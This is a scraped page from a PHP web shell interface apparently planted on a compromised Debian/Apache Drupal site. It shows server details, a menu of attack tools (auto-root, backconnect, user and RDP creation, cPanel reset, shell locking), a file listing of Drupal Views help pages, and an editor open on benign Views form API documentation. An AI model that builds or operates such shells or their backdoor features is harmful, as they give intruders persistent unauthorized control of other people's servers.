Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.116.89.70
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
views /
help /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
about.html
4.75
KB
-rw-r--r--
advanced-settings.html
2.56
KB
-rw-r--r--
advanced-style-settings.html
1.56
KB
-rw-r--r--
aggregation.html
49
B
-rw-r--r--
alter-exposed-filter.html
1.56
KB
-rw-r--r--
analyze-theme.html
2.48
KB
-rw-r--r--
api-default-views.html
7.15
KB
-rw-r--r--
api-example.html
6.58
KB
-rw-r--r--
api-forms.html
2.95
KB
-rw-r--r--
api-handler-area.html
1.59
KB
-rw-r--r--
api-tables.html
13.43
KB
-rw-r--r--
api-upgrading.html
7.98
KB
-rw-r--r--
api.html
3.34
KB
-rw-r--r--
argument.html
9.92
KB
-rw-r--r--
basic-settings.html
2.78
KB
-rw-r--r--
demo-video.html
338
B
-rw-r--r--
display-attachment.html
398
B
-rw-r--r--
display-block.html
1.36
KB
-rw-r--r--
display-default.html
653
B
-rw-r--r--
display-feed.html
59
B
-rw-r--r--
display-page.html
933
B
-rw-r--r--
display.html
1.85
KB
-rw-r--r--
drush.html
526
B
-rw-r--r--
embed.html
1.15
KB
-rw-r--r--
empty-text.html
245
B
-rw-r--r--
example-author-block.html
9.81
KB
-rw-r--r--
example-filter-by-current-user...
3.08
KB
-rw-r--r--
example-recent-stories.html
4.92
KB
-rw-r--r--
example-slideshow-thumb-pager....
4.06
KB
-rw-r--r--
example-user-feed.html
5.33
KB
-rw-r--r--
example-users-by-role.html
5.85
KB
-rw-r--r--
exposed-form.html
1.38
KB
-rw-r--r--
field.html
2.84
KB
-rw-r--r--
filter.html
4.09
KB
-rw-r--r--
get-total-rows.html
772
B
-rw-r--r--
getting-started.html
2.82
KB
-rw-r--r--
group-by.html
1.97
KB
-rw-r--r--
header.html
231
B
-rw-r--r--
menu.html
2.06
KB
-rw-r--r--
misc-notes.html
488
B
-rw-r--r--
new.html
10.08
KB
-rw-r--r--
other-help.html
544
B
-rw-r--r--
overrides.html
1.22
KB
-rw-r--r--
path.html
1.18
KB
-rw-r--r--
performance-views-vs-displays....
1.14
KB
-rw-r--r--
performance.html
144
B
-rw-r--r--
relationship-representative.ht...
1.51
KB
-rw-r--r--
relationship.html
2.99
KB
-rw-r--r--
reports.html
184
B
-rw-r--r--
select-multple-nids-contextual...
1.64
KB
-rw-r--r--
semantic-views.html
1.13
KB
-rw-r--r--
sort.html
2.03
KB
-rw-r--r--
style-comment-rss.html
107
B
-rw-r--r--
style-fields.html
1.4
KB
-rw-r--r--
style-grid.html
1.31
KB
-rw-r--r--
style-grouping.html
1.08
KB
-rw-r--r--
style-jump.html
3.46
KB
-rw-r--r--
style-list.html
727
B
-rw-r--r--
style-node-rss.html
111
B
-rw-r--r--
style-node.html
1.33
KB
-rw-r--r--
style-row.html
1.48
KB
-rw-r--r--
style-rss.html
591
B
-rw-r--r--
style-settings.html
74
B
-rw-r--r--
style-summary-unformatted.html
789
B
-rw-r--r--
style-summary.html
697
B
-rw-r--r--
style-table.html
1.57
KB
-rw-r--r--
style-unformatted.html
115
B
-rw-r--r--
style.html
1.74
KB
-rw-r--r--
taxonomy-page-override.html
2.52
KB
-rw-r--r--
theme-css.html
3.02
KB
-rw-r--r--
top-pager.html
521
B
-rw-r--r--
ui-crashes.html
1.23
KB
-rw-r--r--
updating-view3.html
180
B
-rw-r--r--
updating.html
672
B
-rw-r--r--
upgrading.html
401
B
-rw-r--r--
using-theme.html
4.58
KB
-rw-r--r--
view-add.html
1.7
KB
-rw-r--r--
view-settings.html
664
B
-rw-r--r--
view-type.html
1.78
KB
-rw-r--r--
views.help.ini
5.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : api-forms.html
Views allows handlers to output form elements, wrapping them automatically in a form, and handling validation / submission. The form is multistep by default, allowing other modules to add additional steps, such as confirmation screens. <h2>Implementation</h2> A views handler outputs a special placeholder in render(), while the real form with matching structure gets added in views_form(). When the View is being preprocessed for the theme file, all placeholders get replaced with the rendered form elements. The views handler can also implement views_form_validate() and views_form_submit(). <pre> function render($values) { return '<!--form-item-' . $this->options['id'] . '--' . $this->view->row_index . '-->'; } function form_element_name() { // Make sure this value is unique for all the view fields return $this->options['id']; } function form_element_row_id($row_id) { // You could use values from $this->view->result[$row_id] // to provide complex row ids. return $row_id; } function views_form(&$form, &$form_state) { // The view is empty, abort. if (empty($this->view->result)) { return; } $field_name = $this->form_element_name(); $form[$field_name] = array( '#tree' => TRUE, ); // At this point, the query has already been run, so we can access the results foreach ($this->view->result as $row_id => $row) { $form_element_row_id = $this->form_element_row_id($row_id); $form[$field_name][$form_element_row_id] = array( '#type' => 'textfield', '#title' => t('Your name'), '#default_value' => '', ); } } // Optional validate function. function views_form_validate($form, &$form_state) { $field_name = $this->form_element_name(); foreach ($form_state['values'][$field_name] as $row_id => $value) { if ($value == 'Drupal') { form_set_error($field_name . '][' . $row_id, "You can't be named Drupal. That's my name."); } } } // Optional submit function. function views_form_submit($form, &$form_state) { // Do something here } </pre> The form is multistep by default, with one step: 'views_form_views_form'. A "form_example" module could add a confirmation step by setting: <pre> $form_state['step'] = 'form_example_confirmation'; </pre> in form_example_views_form_submit(). Then, views_form would call form_example_confirmation($form, $form_state, $view, $output) to get that step. <b>Important:</b> You can fetch the Views object in form_alter and validate / submit hooks from the form state: <pre> $view = $form_state['build_info']['args'][0]; </pre> <h2>Relevant Views functions</h2> <ul> <li>template_preprocess_views_view()</li> <li>views_form()</li> <li>views_form_views_form()</li> <li>views_form_views_form_validate()</li> <li>views_form_views_form_submit()</li> <li>theme_views_form_views_form()</li> </ul> <h2>Hooks</h2> <ul> <li>hook_views_form_substitutions()</li> </ul>
Close